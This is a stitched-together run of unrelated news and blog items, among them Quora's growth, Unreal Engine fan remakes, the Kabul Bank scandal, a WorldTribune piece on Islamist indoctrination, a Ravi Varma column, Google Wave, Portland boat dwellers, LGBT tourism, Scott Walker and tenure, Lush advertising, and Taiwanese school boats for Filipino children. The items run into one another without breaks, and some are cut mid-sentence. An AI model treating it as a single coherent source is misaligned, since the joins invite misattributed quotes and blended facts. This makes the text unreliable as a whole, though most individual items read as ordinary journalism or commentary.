And it’s a good thing they did that, because this week, just one week later, the service has seen even bigger growth. Look at the two graphs below that Sheu has shared. The first one represents the late December explosion in signups. The second one is the explosion this week. As you can see, the giant growth from the December week has been far eclipsed by the growth this week. In fact, he says the signup surge this week has been twice as big as it was in the late December period.
“This round however, we were much, much better prepared for the increased load. While a few of our services still saw delays, for example with email deliverability and picture uploads, our main web servers stayed up all through Monday and Tuesday,” Sheu notes, thanking the engineers that helped keep things up.
It seems as if most Quora users had seen the massive influx of new friend requests on the service in the past week or so — now you know why. I wondered if it was something Quora changed with regard to autofollowing, so I asked the company. “Nope, we haven’t changed anything recently. There has been a lot of activity and growth the last week especially,” co-founder Charlie Cheever told us last night. Sheu’s data clearly confirms that. And he seems like a good resource to have for scaling — he’s previously worked at both Twitter and Facebook.
So we’re sorry Quora for contributing to the problem. But it sure is a nice one to have.Unreal Engine 4 fans, here are three interesting videos for you today. Ever wondered what Spyro: The Dragon, Sonic R and Rayman would look like in Epic’s latest engine? Well time to find out as some users have been experimenting with such recreations.
The first one is for Sonic R. Sonic R is a racing game that was released on SEGA’s Saturn back in 1997. YouTube’s ‘SilverTom93’ has shared a concept video, showing that game running in Unreal Engine 4. SilverTom93 has exported the original models from the Saturn version, and created a new map in Unreal Engine 4. It looks cool, though we don’t know whether SilverTom93 will add any gameplay functionalities to it.
The second recreation is for the original Rayman. YouTube’s ‘Maxime Carcaillon’ has shared a video, showing a map that was inspired by Rayman’s Picture City world. As with SilverTom93’s video, this feels more like a concept video as there isn’t any gameplay. Still, it will give you a slight idea at what Rayman’s maps could look like in Unreal Engine 4.
Last but not least, YouTube’s ‘Blackcatgame Studios’ has been working on a recreation of Spyro: The Dragon in Unreal Engine 4. Contrary to the previous videos, however, this one shows actual gameplay. This is far from finished and pretty much everything needs to be further polished (from animations to the actual map design), however it undoubtedly looks cool.
Enjoy (also a slight note; the header image is from a different Spyro fan remake in Unreal Engine 4 that was in development back in 2015)!Image caption Mr Fitrat has left Afghanistan for the US
The governor of Afghanistan's central bank, Abdul Qadeer Fitrat, has resigned and fled the country, saying his life is in danger for investigating fraud.
He said the government had interfered in his efforts to pursue those responsible for corruption at the privately-owned Kabul Bank.
Mr Fitrat was speaking from the US where he has residency. He says he will not return to Afghanistan.
An Afghan government spokesman said the resignation amounted to treason.
Waheed Omar, Afghan President Hamid Karzai's spokesman, also added that Mr Fitrat was himself under investigation.
"My life was completely in danger and this was particularly true after I spoke to the parliament and exposed some people who are responsible for the crisis of Kabul Bank," Mr Fitrat said on Monday.
The embezzlement at Kabul Bank, Afghanistan's largest private bank, almost led to its collapse last year after it was discovered that hundreds of millions of dollars had gone missing. The bank handles up to 80% of the government payroll, including salaries for policemen and teachers.
A run on the bank was only avoided by the injection of massive amounts of public funds and government guarantees.
'Investigation blocked'
Investigators say that the bank made hundreds of millions of dollars of inappropriate loans. It was founded in 2004 by Sherkhan Farnood, a leading international poker player.
The bank was bailed out in September, which is when the central bank also took control of its finances. Mr Fitrat, as president of the central bank, was in charge of an investigation into what went wrong.
KABUL BANK TIMELINE 2004 : Kabul Bank founded by international poker player, Sherkhan Farnood
: Kabul Bank founded by international poker player, Sherkhan Farnood September 2010: Kabul Bank taken over by the central bank after a run on the bank amid fears of its collapse
Kabul Bank taken over by the central bank after a run on the bank amid fears of its collapse February 2011: Abdul Qadeer Fitrat, central bank governor, tells BBC those involved in bank's woes should be prosecuted
Abdul Qadeer Fitrat, central bank governor, tells BBC those involved in bank's woes should be prosecuted February 2011: An IMF report recommends the bank be put in receivership
An IMF report recommends the bank be put in receivership April 2011: Mr Fitrat, names in parliament prominent Afghan figures in connection with the Kabul Bank scandal
Mr Fitrat, names in parliament prominent Afghan figures in connection with the Kabul Bank scandal May 2011: Report by anti-corruption office shows $467m (£290m) of outstanding loans were made without appropriate collateral
As the crisis at Kabul Bank unfolded, President Karzai pledged to fully investigate those involved in the crisis.
But Mr Fitrat alleges that the central government did not assist him in the investigation or provide any help in recovering the bank's assets.
"During [the] last 10 months during Kabul Bank crisis, I continuously pressed for the creation of a special prosecution, for the creation of a special tribunal to investigate and prosecute those who were involved in Kabul Bank's fraud," he told the BBC.
"I did not receive any information that there is a credible plan to prosecute, to investigate and prosecute these individuals. The high political authorities of the country was responsible [for blocking] these efforts," he alleged.
He said he left the country after he received information that his life was in danger from "credible sources".
In April, Mr Fitrat publicly named in parliament high-profile figures who were allegedly involved in the near collapse of the bank.
Relatives of President Karzai, including his brother, Mahmoud Karzai, were among those named in connection with the scandal. Mr Fitrat also implicated the brother of Vice-President Qasim Fahim.
Both men - who were major shareholders in the bank - deny the charges. They say they are being targeted because of their position
'Foreign advisers'
Image caption Kabul Bank was taken over by the Afghan central bank in September 2010
President Karzai has said Afghanistan lacks the necessary banking experience to oversee the institution and has blamed foreign advisers for the crisis.
He has also pledged to ensure that those responsible are subject to criminal investigations.
The International Monetary Fund wants the Afghan government to wind down Kabul Bank before it releases the funds for a new assistance programme. A recent IMF report said the bank should be placed in receivership.
Britain has already suspended a $140m (£85.6m) payment in aid to the country following the crisis.
"We take note of Governor Fitrat's decision to step down as central bank governor," IMF spokesman Raphael Anspach is quoted by the Wall Street Journal as saying.
"We look forward to continue discussing with his successor ways to improve the Afghan banking system in the period ahead."by WorldTribune Staff, March 29, 2017
British officials have acknowledged that Islamist indoctrination by “non-violent extremists” was key in influencing terrorists who carried out attacks in the UK.
Activist and author Ayaan Hirsi Ali, in an opinion piece for The Washington Times on March 28, wrote that “it is important for the United States to tackle radical Islamist ideological indoctrination — dawa — before it takes root to the extent it has in Europe.”
The Somali-born activist noted that “since the attacks of Sept. 11, 2001, U.S. officials have focused on countering and disrupting individual acts of violence committed by Islamic extremists, but they have not countered the ideology that justifies and encourages such acts of violence and rejects assimilation into American civic ideals.
“By focusing on the tactic of terrorism, successive U.S. administrations have largely ignored organizations whose primary function is the dissemination of radical Islamist ideology in the United States.”
Ali continued: “Although many Americans have heard of jihad, few have heard of dawa. In theory, dawa is simply a call to Islam. As Islamists practice the concept, however, dawa goes far beyond an invitation.
“Islamist dawa is a process of methodical indoctrination — brainwashing — that rejects assimilation and places people in opposition to Western civic ideals. If the indoctrination is severe enough, dawa can place individuals on the path to militant jihad.”
Ali said that President Donald Trump’s approach to terrorism marks a “welcome change from prior administrations.”
During a campaign speech in August 2016, Trump said he would seek to counter Islamist ideology if elected president. In his words, the “hateful ideology of radical Islam [with] its oppression of women, gays, children and nonbelievers” could not “be allowed to reside or spread.”
Ali said that “it is in countering radical Islam as an ideology that the new administration can learn from the European experience. Yes, European countries have made mistakes, but there are also good policies that can be embraced in the United States.”
In the 2000s, the British government was embarrassed to discover that “non-violent” Islamist groups it had funded were, in fact, “espousing extremist ideology,” Ali wrote.
“Then-Prime Minister David Cameron memorably described the attempt to partner with Islamists to counter violent Islamists as ‘like turning to a right-wing fascist party to fight a violent white supremacist movement.’
“Recognizing the link between radical Islamist indoctrination and violence, Mr. Cameron noted that of individuals convicted of terrorist crimes in Britain, ‘it is clear that many of them were initially influenced by what some have called ‘non-violent extremists,’ and they then took those radical beliefs to the next level by embracing violence.”
Following the Sept. 11 attacks, U.S. senators such as Jon Kyl, Dianne Feinstein and Charles Schumer held congressional hearings on the “problematic role of Wahhabi ideology in the United States,” Ali wrote. “Yet efforts to push back against Islamist ideology were not carried through to completion by either the Bush or Obama administrations.
“Today, Islamist foundations and individuals in Qatar, Saudi Arabia and Kuwait continue to contribute to the dissemination of radical Islamic ideology in the United States and other Western countries. These funding flows should be mapped and curtailed. The U.S. should use all means of public diplomacy to give a voice to non-Islamist Muslims. And it should recognize, as the British have, that partnering with nonviolent Islamists is not a viable path toward winning the war against radical Islam.”
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Login To Your FaceBook to Make CommentsBy the time of his demise in 1906, critics were convinced that Ravi Varma would feature right on top of the “rubbish heap" of Indian art. To Aurobindo, he was “the grand debaser of Indian taste and artistic culture", a “superstition" that “received its quietus" at last in death. To Ananda Coomaraswamy, who allegedly based his denunciations on Varma’s prints rather than actual oils, his “fatal flaws" were “theatrical conceptions, want of imagination, and lack of Indian feeling". The gods Varma painted were “in a very common mould", aggravated by the “unsavoury" singers and prostitutes on whom they were modelled. Sister Nivedita found Shakuntala profoundly “ill-bred", fuming that thanks to Varma, “every home contains a picture of a fat young woman lying full length on the floor writing a letter on a lotus leaf". His paintings were indecorous, imitative, and simply not real art—they belonged on the cheap calendars where Varma himself apparently doomed them forever.
While price tags aren’t a dignified vindication of the value of any creative work, the auction of Varma’s Damayanti in New York recently for $1.6 million (around Rs11 crore) is a plausible indicator that a century after diabetes rested his brush, the artist retains appeal among more than just connoisseurs of calendars. His romantic Indian themes, immersed in mythology, were one reason for his immense popularity but “the appeal of his heroines", Partha Mitter wrote, “lay in the fact that they were not iconographic types, but palpable, desirable human beings". Then there was the historical period during which he crafted his reputation—nascent nationalism made his oleographs of Shivaji a rage in Maharashtra. Brahmins visited his studio to “gaze in wonder" at his splendid canvases, and poorer homes acquired prints of gods they worshipped but could never visualize—not at affordable prices anyway.
There is splendour and beauty in Varma’s mythological creations like ‘Damayanti’. Photo: PTI.
Interestingly, as Vidya Dehejia noted, Varma was “the progenitor of fair skin as an ideal of feminine beauty in Indian popular visual art", an innovation favourably received in colonial times, penetrating masses of minds through Varma’s lithographs. He was, in this respect, influenced by un-ancient yardsticks. On the one hand, it was his aristocratic roots that steeped him in Sanskrit tales of Draupadi and Radha. But, on the other, when he portrayed these protagonists on canvas, attributes were altered to fit conventions of the day. Unlike old sculptures, they could no longer be scantily clad, and so appeared exquisite drapery. And unlike ancient poetry—from Kalidasa to the Kamasutra—they could no longer be dark-skinned, since that ideal had made way for the model of fairness. So it was that his Damayanti and Shakuntala were paler than their literary ancestors—dark strokes were reserved for lower-class women.
My own favourite Ravi Varma, however, is an obscure canvas that features a decidedly upper-caste woman of redoubtable bearing, confident in her darkness and the authority with which she occupies the frame. Glaring at the viewer (or perhaps the painter who presumed to deem fairness a requisite for beauty), this is a formidable woman who towers over the pale faces populating Varma’s better-known paintings. The difference is that this is a portrait, but while Varma ordinarily flattered his patrons by enhancing their attractive features, this one is marked by originality—he daren’t take liberties with a single characteristic of his uncompromising subject.
Her name was Mahaprabha, daughter of Chamunda. Married to an uncle of Varma’s, she was a descendant of kings, and mother of queens. But for our purposes Mahaprabha can be identified primarily as Varma’s mother-in-law—the woman with whose daughter he had a troubled marriage (which forms a significant narrative component in an awful biographical film that countered Varma’s heights of feminine beauty by depicting him as a muscular flirt with a shaved chest). Mahaprabha was, in family circles, believed to be precisely the kind of woman her painting shows her to be. “All were in awe of her and she was feared and respected," remarked a descendant to me, and “her opinions were never refuted as none dared contradict her views". Varma painted her as she was, without softening her piercing gaze and pronounced features.
Lambasted by J. Swaminathan for his “vulgar naturalism", Varma was actually not from a world of fair women in silk saris writing letters and awaiting lovers—his mother was dark, regal, and an accomplished poet. His wife and her royal sisters were not fair, but were attractive women of personality (with the capacity to flout rules—Varma’s wife acquired an “addiction to drink" despite orthodox settings). Yet the growing preference for fairness took root among them too, hastened by his brush. His older daughter modelled for him thanks to her fine features and complexion (though he toned down the authority writ across her face to produce a delicate air), while a dark-skinned second daughter was destined to live in her sibling’s shadow, considered less beautiful, though not less headstrong and powerful.
There is splendour and beauty in Varma’s mythological creations like Damayanti, and these played a role in the modern re-conception of our pre-modern past, shaping nationalism and cultural confidence in a colonial age. But the portrait of Mahaprabha represents the reality of the world that created the painter—a world with a different aesthetic, not suited for pan-Indian appeal, but singularly striking. While Varma’s work is dismissed as kitsch, this is a painting that stands against his own idealizations—the woman here is not coy; she is firm in her gaze. She is not dainty, but full of force. She is real and not amenable to artistic manipulations of form and colour—it is the background he made pale, not the woman’s skin. And this very manifestation of her reality makes her, to me, more magnificent than Varma’s breathtaking mythological canvases.
If one day Mahaprabha appears at auction, I wonder what value they would assign her. For she goes back to the time before Varma gave us the cultural imagery for which he is celebrated, to a time when he had no freedom to represent truth with romance, and had to paint in oil reality as reality was, big nose, dark skin and more.
Medium Rare is a weekly column on society, politics and history. Manu S. Pillai is the author of The Ivory Throne: Chronicles Of The House Of Travancore.It's new but not new
It's built on XMPP
It leverages a huge amount of existing infrastructure
It's federated by default (see below).
A lot of the underlying protocol is well understood by a lot of people
It's federated
It's extensible
It's persistent
It can be "gatewayed"
It's encrypted by default
It's client independent
All of the things in the Wave demo are possible without Wave. The interesting thing about Wave is not so much the application, but the infrastructure, the protocol and the underlying concepts. Many limited collaboration apps have offered various subsets of the Wave functionality, for example, and the superficial functionality can be built using existing technology, without fancy new protocols and clients etc.A lot of people have been comparing Wave to e-mail. That's missing the point too. Wave has the potential to be as important as the Web. I'm serious. Wave is taking the web and making it interactive, embeddable, recordable, and shareable on a whole different level than what we are used to. And like most great "revolutionary" ideas it doesn't actually add all that much new:When the web arrived, hypertext systems were well known (and most of them were far more advanced than early web browsers), for example. What the web gave us was two simple innovations: A simple system for letting anyone create content, and an addressing scheme and protocol that allowed the content to be distributed world wide. But that existed - sort of - too before the web, in the form of Gopher. The web was a very tiny evolutionary step in many ways, but they were "just the right ones": The web was more chaotic and unstructured and open-ended than gopher (which was more of a distributed catalog of files), and with a number of ideas that spurred people on to extend it in all kinds of weird and wonderful ways.Wave could be similar. We have IM. We have e-mail. We have document sharing over the web. We have the web. All of the functionality of Wave can be achieved with existing technology. You can chat with your friends. You can share content. You can run shared whiteboard apps that you could interface apps to.But it's not all seamlessly integrated. That is the one deceptively small evolutionary step that Wave provides, that could very well be a big game changer. Especially since Wave does it in a very simple way.That means:Jabber / Google Talk / XMPP is powerful because anyone can set up their own server, and Google has promised the same will be the case for Google Wave - it only makes sense anyway since XMPP is built ground up to be a federated protocol, with support for server-to-server connections etc.Federation allows you to set up your own server, and so act as gatekeeper to information that is critical to you, and so makes Google Wave palatable as an intranet tool as much as an external tool - in fact, barring issues with how the clients are built there's no reason why an intranet user could not start a public wave (on a public server) for an open discussion and then break away a private sub-wave on the intranet wave server - all in the same session - to discuss with his/her co-workers.This makes Wave a potentially pretty amazing collaboration tool for situations where you may have multiple parties with information of both public and private nature who wants to share different subsets with different parties. Systems like Basecamp allows this today (you can add other companies and users from those companies to your Basecamp setup, and control their access to your information) but it is fairly static and limited to the specific feature-set of Basecamp, while in Wave it is a feature of the infrastructure and completely orthogonal to the functionality the various users employ.In fact, nothing stops users from granting access to their own, internal, Wave-enabled apps, on a user by user basis as part of collaboration (or as a general service):Imagine a booking agent (at any type of business: restaurants, airlines etc.) that answers live questions. Lots of companies do that now. But instead of just talking to you, the agent shares a booking form with you, and help you fill it in, live, while answering questions.Or someone at your bank walks you through mortgage deals, and shows you a mortgage calculator, fills in details to illustrate the deals they are presenting, and show you graphs of your repayment schedule in real-time.Because the Wave protocol allows both sides to push relatively arbitrary content, and update it realtime, you can use it to run presentations; to edit documents together; to fill in forms together that is then updated live by automated remote services.Consider it a sort of "remote terminal" you can run applications in. Only it's shared. And graphical. And has built in playback.The Wave server is responsible for maintaining a persistent store of the waves. Depending on your wave server there may be different policies for how long they persist, but due to the openness of the protocol, there's plenty of opportunity for archiving waves in ways that provides a record the way e-mail does. Providing search and retrieval functionality for local waves is possible, and the architecture allows searching either at "point-in-time" or building search functionality that would let you search in past states of your waves.I.e. your client or your local wave server could either snapshot waves at specific times, or maintain a complete record of the wave operations and then let you find that mention of doughnuts in the kitchen that some greedy co-worker deleted seconds later.Many of the more exciting uses of Wave allowed by the open architecture is that you can create two-way gateways for all sorts of content using it. Nothing is preventing you from building wave support into your new spreadsheet app, for example, so you can click a button to share the spreadsheet, or a graph from it, or whatever, with other people and have them help you edit it,and comment on it. Or you can share your word processor document in a phone conference and people can add their own comments. Or you could export your blog entries, and have people use Wave to add or read comments from your web page. Or Wikipedia could export every page as a wave so those obnoxiously formatted "talk" pages could instead consist of people adding comments "inline" to the actual text. Or you could turn it into an IRC client. Or Facebook could turn the walls into waves and let people read/post to their wall via wave (though given facebooks past behavior in banning people who post too many updates, perhaps not).Google itself has a suite of apps that could be exported as waves: Docs/Spreadsheets, Gmail, Picasa, Calendar etc. - imagine starting a wave, pulling in a document, adding your pics from Picasa, dragging in the calendar and creating an event, and turning it all into a nicely formatted event invitation e-mail that is gatewayed out via normal e-mail to your friends and family (or made available as a wave to those who use it), complete with nice pictures from the place you're inviting them too, the price list from Docs, a calendar invite etc.Encryption by default makes it a lot easier sell as a collaboration tool also internally in businesses, or even in many cases as a replacement for e-mail or other channels that are insecure by default and takes conscious actions to secure.While Google obviously has a head start, and while extensions may (or may not?) be client dependent, nothing stops other parties from building Wave clients that add new capabilities. The underlying protocol is really simple - it uses XMPP for federation and layers a thing layer of maintaining shared XML documents and serializing multi-party updates to that document to all participants. How the client (or the server) interprets that document is up to the client (or the server).Some ways to use this: "Load" snapshots of waves into your word processor when you've finished collaboratively editing it, and finish cleaning it up (your word processor could be a wave client); open a wave in Finder / Explorer and drag images from the wave somewhere else (or open the wave in Photoshop and pick an image to edit). All of course assuming the various app gets wave support.PORTLAND, Ore. -- Transient boaters, anchored illegally on the Willamette River, are getting a break from the state.
Settlement agreements just signed between the Department of State Lands and seven of the transient boaters who were given trespass notices, means no fines for trespassing and boaters will have until January to move their boats at least five miles.
It's a tough situation. These boats are homes for over a dozen people currently out on the water who are one step up from being on the streets. It's Portland's housing and homeless problem. But many agree, this is a messy solution. Many of the boats don't have working motors, and some are leaking oil and sewage into the river.
Dane Brown has spent three years aboard his old, wooden boat. He's diagnosed bipolar, with PTSD, and has early stages of renal failure and diabetes.
"I live on $733 a month. My SSI check, over half of it goes to prescription medication," Brown said.
He's lived in shelters, but all of the people and rules make him anxious. He says an apartment isn't an option either.
"I can't pass a criminal background check so no one will rent to me."
The boat gives him space and safety. But he's been docked for months at Willamette Park's public boat ramp. Portland Parks and Recreation operates the boat ramp and Brown says they haven't hassled him because this is the offseason and few people are using the docks.
Before, he was out in the Willamette waterway illegally anchored. The Dept. of State Lands rule says you can do that for a month, then you must move five nautical miles, and not come back for a year.
Brown said if he received a trespass notice, he couldn't comply if he wanted to.
"My first concern would be how could I afford the fuel to start the motors and how would I get the fuel down here? I don't walk very well. I'd have to have help," he said.
KGW was there this summer as the state handed out 13 trespass notices to longtime illegal transient boaters. One day before their requested hearings with an administrative judge, the state reached legal settlements with six of them and are letting them off the hook. The state only making them promise to move their boats by Jan. 1. If not, then they'll pay the fine of $100 dollars a day, going back to the summer.
More: Transient boats receive trespass notices
Besides one ticketed boater who is awaiting a hearing decision from a judge, the rest of the boaters complied with the notice and moved their boats. However, some got around that order to move by just docking at public or private marinas until they're kicked out, if ever.
Or they're tucking in closer to Ross Island. It's private property and out of the state's jurisdiction. KGW left a message for Ross Island Sand and Gravel asking whether or not the company would go after the boaters, kicking them out of their private waterway, but we never heard back.
"I think if you give them an inch, they'll take a nautical mile," said David Valentine who runs the Willamette Sailing Club.
It's across the water from Ross Island where most of the transient boaters have anchored. He's caught a few of the boaters trespassing and stealing, but mostly, they keep to themselves. He doesn't like this precedent the state is setting.
"Everyone is held to a certain standard, and I think there are certain exceptions granted to that particular community," Valentine said.
Lori Warner-Dickason of the Dept. of State Lands tells KGW, in light of this, they've just changed the rules about transient boaters in Oregon.
Starting Jan. 1, the state is getting rid of the 30-day timelines and moving 5 miles rule. They've learned now that it's nearly impossible for them to monitor and enforce. Instead, living aboard your boat full-time without authorization or a lease, will no longer be tolerated. The state will instead first issue a trespass notice, and if nothing is done, they'll start seizing boats.Pink Dollars Emerge as New Currency
KOLKATA, Sep 1 2013 (IPS) - Naomi Fontanos is seeing a change from when she went holidaying in 2002. Then she had run into ignorance about transgender people or worse at hotels, restaurants and other business establishments in Boracay, the popular tourist destination south of Manila.
“[Boracay reflected] the general close-mindedness of Philippine society at that time towards lesbian-gay-bisexual-transgender (LGBT) issues,” Fontanos, founder of Gender and Development Advocates Filipinas, a prominent transgender rights group in the Philippines, told IPS.
“Many had never met a transwoman before.”
But the passing decade has seen remarkable changes sweeping travel destinations. Returning to the island last November, Fontanos saw her hotel sporting a rainbow-coloured flag, an indication it welcomed LGBT tourists. Other establishments too marketed themselves as gay-friendly.
The changes have been noted in London by Tris Reid-Smith, director and editor of Gay Star News, a news site focusing on LGBT issues worldwide.
Reid-Smith is revamping his site’s travel section to cash in on the growing importance of the pink dollar in the tourism industry.
“LGBT people travel more, take more holidays,” he told IPS. “With the recession in Europe and North America, families are finding it difficult to travel on holidays after meeting the priorities – food, gas bills, education for the children.
“LGBT families are smaller and travelling is more affordable for them.”
The economic change has made the travel industry realise that if they want to improve profit margins, they have to woo this growing segment.
After promotions to entice visitors from Australia and China, two of its largest tourist markets, Tourism New Zealand (TNZ) is now focusing on this neglected sector.
The trigger is the new Marriage Amendment Act that made same-sex marriages legal in the country from Aug. 19.
New Zealand’s Department of Internal Affairs said more than 1,000 marriage forms have been downloaded a day earlier, three times the average.
TNZ hosted one of these weddings, choosing gay Australian couple veterinarian Paul McCarthy and his partner Trent Kandler through a competition.
National carrier Air New Zealand sponsored the wedding of Aucklander lesbian couple Lynley Bendall and Ally Wanikau on board a plane.
Legal reforms as well as advocacy of gay rights by world leaders like U.S. President Barack Obama and Pope Francis have also boosted pink tourism.
“Many countries have recently approved same-sex marriages,” Reid-Smith said. “Like the UK and some states in the U.S. In Asia, it is being discussed in Thailand and Vietnam. In India, colonial (anti-homosexuality) laws have been challenged.
“All this has given the community confidence that the government is on their side, society is on their side.”
A decade ago, many hotels refused to give same-sex couples double-bed rooms and they had to endure discrimination. “But now, with laws recognising them as 100 percent equal to other citizens, gay couples expect more respect,” Reid-Smith said.
Social media and the Internet have played a key role.
“Social media allowed people to discover what’s going on worldwide and comment,” he said. “It built relationships, confidence and a global community against homophobia.”
When gay rights activist Eric Ohene Lembembe was murdered in Cameroon in July, protests erupted in London. And when the Russian government showed an anti-homosexual bias, calls poured in from different parts of the world urging a boycott of the 2014 Winter Olympics to be held in Sochi.
“It is important for LGBT people to show that they are willing to boycott events, countries or people that are homophobic,” Jean Chong, founder of Sayoni, a Singapore-based platform for lesbian, bisexual, transgender and queer women, told IPS. “We can [take] our money elsewhere and we have a choice.”
Singapore is perceived as being more tolerant than its Muslim-majority neighbours like Malaysia, Indonesia and Brunei. It hosts gay film festivals, saw opposition member Vincent Wijeysingha become the first politician to come out, and its annual gay rally, Pink Dot, drew a record 21,000 people this year.
Still, it has laws that criminalise sex between men and dampen tourism numbers. Surveillance and censorship still exist, and sponsorships for gay events are hard to come by.
“LGBT tourists will be wary of countries that are not welcoming since there are many other choices these days,” Chong said. “Discriminatory policies also create an obstacle to events wanting to create awareness and cater to the LGBT community.”
Gay rights will be largely influenced by how India and China, the two Asian giants with a combined population of over two and a half billion people, treat the community, says Sunil Babu Pant, founder of the gay rights movement in Nepal.
Nepal, once a conservative Hindu kingdom closed to the outside world, recognised homosexuals as natural persons in 2008. The Supreme Court asked the government to make laws to protect their rights and allow same-sex marriages.
Pant says Nepal’s giant neighbours China and India are lagging behind.
China de-recognised homosexuality as a mental illness in 2001 and public display of gay affection is regarded indulgently during Qixi festival, the Chinese Valentine’s Day. But the Beijing Queer Film Festival has faced repeated shutdowns by the state.
And while commerce capital Shanghai has been hosting an annual gay festival since 2009, public marches are still not allowed.
In India, there has been an increase in social acceptance since 2009, when the Supreme Court struck down part of an anti-homosexuality law that had made sex between men a criminal offence.
“We have seen more gay people coming out of the closet, pride parades in major cities and a vibrant gay night life emerging in the metros,” said Suraj Laishram, personal tour advisor at Indjapink, a New Delhi-based gay travel agency.Dirge Premiere New Song ‘Hyperion Under Glass’ Exclusively With Terrorizer
France’s atmospheric sludge monoliths Dirge have just unveiled a brand new song from their eagerly anticipated new album ‘Hyperion’, and you can hear it here first, exclusively with Terrorizer…
Dirge have come a long way since their formation in 1994, spending the
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ask why.
First, back in January he proposed an enormous $300 million cut to the University of Wisconsin’s budget, at a time when other state universities are finally recovering from the recession. Now he’s proposing to get rid of academic tenure, not only threatening faculty jobs but also destroying academic freedom for professors at the University of Wisconsin.
Walker’s attack on tenure was just endorsed by a major committee in the state legislature, which voted 12-4 to eliminate tenure from state law. The Wisconsin faculty responded that this new policy, if implemented,
will inflict lasting damage on a highly successful institution that was built and nurtured with major investments by Wisconsin taxpayers over a period of 167 years.... It would be difficult to overstate how destructive and unnecessary the [legislature's] proposed changes to tenure and shared governance are.
Why is Governor Scott Walker (aided by his legislature) attacking his own state’s leading university? One could hypothesize that he harbors some resentment over the fact that he himself never graduated from college: he quit school in his fourth year at Marquette University. Susan Milligan at US News argues that this disqualifies him as a candidate; perhaps this criticism bothers Walker. But plenty of people succeed in demanding careers without a diploma–just look at Bill Gates and Steve Jobs.
Perhaps the reason behind Walker’s dislike of academia is that he thinks that professors are too liberal. If true, this is deeply disturbing: it means he wants to stifle speech that he disagrees with. This kind of repression of scholarship is one of the most important reasons for tenure in the first place. One doesn’t have to look far–hello, Vladimir Putin?–to find examples of how powerful politicians can suppress speech, to the detriment of their societies. As UC Irvine’s Mark Levine wrote this week,
none of academia’s core functions could occur without tenure and the assurance of academic freedom it enables.
I wrote to Governor Walker's office to ask the question above, and also to ask if he thinks his actions will weaken the University of Wisconsin. His press secretary, Laurel Patrick, didn't answer directly, but responded that
the Governor’s original budget proposal removed all references to the UW from state statute in order to allow for the proposed authority to create its own policies. This would allow the UW Board of Regents to address the issue of tenure going forward."
The leaders of a national university governing board association disagreed, pointing out that under Walker's proposed new policy,
"decisions about a tenured faculty member's service could be based less on performance and institutional finances and more on the political or personal views of board members."
I’ve observed the benefits of tenure directly many times, both at Johns Hopkins University and at my previous academic home, the University of Maryland. While at UMD, for example, I wrote several articles highly critical of the university president for his boneheaded decisions about the football coach. Many of my colleagues expressed similar views to me in private, but the untenured ones were unwillingly to speak openly. If we want scholars to speak truthfully, they need to be free of fears of retribution.
Governor Walker’s actions make even less sense when viewed from outside the state, where the University of Wisconsin is considered one of the nation's top public universities (currently ranked 13th among public schools). With his draconian budget cuts and his assault on the tenure system, Walker is sending a message that professors at Wisconsin should sit down and shut up. Some of them–those most able to move, which likely includes some of their best talent–might now be looking for greener pastures elsewhere. Come to think of it, we are recruiting for 50 new endowed professorships at Hopkins, thanks to Michael Bloomberg; perhaps I should be thanking Governor Walker.
It’s disturbing that Wisconsin's governor is using his power not only to weaken one of the state's biggest assets, but also to attack the free expression of ideas. I can't come up with any explanation for his actions that doesn't appear vindictive and short-sighted. This isn’t the kind of behavior I want in any politician, and certainly not in someone who wants to be the most powerful politician in the nation.
Also on Forbes:Lush North America released its Valentine’s Day campaign imagery last week. It prompted global gay love with its image of two men sharing a bath, the water colored by a signature Lush bath bomb.
A website banner advert for the campaign also featured a female couple enjoying similar bath time fun.
This week, Lush Australia and New Zealand has released its Valentine’s Day imagery, and again, it showcases a gay couple.
The annual #LushLoves poster that will appear in stores from 26 January to 14 February features Lush store worker Darren, in Newmarket, New Zealand and his partner Joel.
Lush Australia used a female couple as part of its #LushLoves campaign in 2015.
LUSH
In a press statement from Lush, Darren spoke about featuring in the campaign.
‘Being in a window with someone that I love so much is quite amazing. This is something so close to us.
‘We know how hard it is to be accepted so hopefully this touches people. It’s not just one person. There are such high suicide rates within the LGBTQI community. We are pretty happy that LUSH takes the time to support the community.’
Although New Zealand has marriage equality, both said that they don’t feel on an equal footing with heterosexual peers when it comes to expressing their love.
‘I can’t think of a time where I thought I’m comfortable to make out with Joel in front of everyone,’ said Darren.
‘Joel and I are so much older than some of the younger people that don’t understand who they really are.
‘We have people that support us but if you think about the people who have no one around them to support them, it’s not hard to believe why suicide rates are so high. We feel like that is the big issue.’
Commenting on the campaign, Peta Granger, LUSH Australia and New Zealand Director said, ‘LUSH will always use any opportunity to present a broader and more realistic image of what love looks like, always using LUSH staff and real couples.’
The cosmetics brand is known for its vocal stance on LGBTI rights. In 2015 it produced a bar of soap, coated in gold glitter, emblazoned with the slogan #GayIsOK.
It sold the soap in most of its stores around the world, with proceeds donated to LGBTI rights groups. It raised over US$400,000 from the initiative.
Lush Australia and New Zealand has been a strong supporter of introducing marriage equality to Australia.WEST: There are different means by which you can be attacked. I mean it doesnt have to be a bomb or an airplane flying into a building. It doesn't have to be a shooting. It can be through cyber attacks, it could be through leaking of very sensitive classified information. Regardless of whether you think it causes any harm, the fact that here is an individual that is not an American citizen first and foremost, for whatever reason gotten his hands on classified American material and put it out there in the public domain. And I think that we also should be censoring the American news agencies which enabled him to do this and also supported him and applauding him for the efforts. So that's kind of aiding and abetting of a serious crime.By Lee Hsin-Yin CNA Staff Writer
Among the stories about Taiwan and the Philippines that involve boats and the sea, in this one, love and hope is the message.
In the impoverished mangrove village of Layag-Layag, about 700 km from the country's capital of Manila, some 400 children used to have to wade through the sea at low tide to get to school and swim home at dusk when the tide is high.
But Ryan Lai, a Mandarin Chinese teacher at the National Yilan Senior High School, has helped change all that by raising funds to build boats for the Filipino kids so that they can get to school more easily.
The 30-year-old Taiwanese did not see himself devoting himself to the purpose when he first arrived on the island of Cebu as an alternative military service Mandarin teacher in 2011.
But during a short trip to the Philippine city of Zamboanga, where the Taiwanese Buddhist charity Tzu Chi Foundation has a presence, Lai learned about a project it coordinated with the local Yellow Boat of Hope Foundation, which aims to get the children living in the mangroves to school safe and dry.
The fact that local children had to swim about an hour for 2.5 km between school and home shocked Lai, who remembered spending the same amount of time taking the train to his own high school.
"Everything we take for granted does not work the same way in the Philippines," he said. "You can't imagine how much opportunity and hope a boat could bring to a kid's life."
After his assignment to the country was completed, Lai published a book about his time in the Philippines and donated part of the royalties, along with his income during his military service, to the project, which helped build two boats costing some NT$12,000 (US$400).
The yellow boats, each of which is three meters long, can carry about eight children.
One of the boats is named after Lai's mother, while the other is called "Taiwan," in commemoration of the friendship between people of the two countries, he said.
